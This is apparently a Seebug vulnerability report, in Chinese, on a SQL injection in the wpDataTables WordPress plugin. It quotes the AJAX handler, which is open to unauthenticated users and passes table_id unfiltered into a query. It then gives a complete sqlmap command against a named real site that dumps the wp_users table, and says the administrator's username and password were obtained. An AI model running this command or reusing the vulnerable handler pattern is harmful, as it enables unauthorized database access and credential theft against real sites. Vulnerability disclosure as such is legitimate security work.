<ul><li>wpdatatables.php</li></ul><pre class=""> // AJAX-handlers
add_action( 'wp_ajax_get_wdtable', 'wdt_get_ajax_data' );
add_action( 'wp_ajax_nopriv_get_wdtable', 'wdt_get_ajax_data' );
/**
* Handler which returns the AJAX response
*/
function wdt_get_ajax_data(){
$id = $_GET['table_id'];
$table_data = wdt_get_table_by_id( $id );
$column_data = wdt_get_columns_by_table_id( $id );
$column_headers = array();
$column_types = array();
$column_filtertypes = array();
$column_inputtypes = array();
foreach($column_data as $column){
$column_order[(int)$column->pos] = $column->orig_header;
if($column->display_header){
$column_headers[$column->orig_header] = $column->display_header;
}
</pre><p>table_id未经过过滤直接带入SQL语句,导致SQL注入。</p><p>使用sqlmap,注入得到管理员的帐号密码。使用命令:</p><pre class="">python sqlmap.py -u "https://odg.bo.it/wp-admin/admin-ajax.php?action=get_wdtable&table_id=1" -p table_id --dbms mysql -D www_odg_db -T wp_users --threads 10 --dump</pre><p>得到管理员的帐号以及密码: </p><p><img alt="6D20CE4D-B027-493D-93F7-E3F63CFD50FF.png" src="https://images.seebug.org/@/uploads/1434594823279-6D20CE4D-B027-493D-93F7-E3F63CFD50FF.png" data-image-size="1700,1094"><br></p>
暂无评论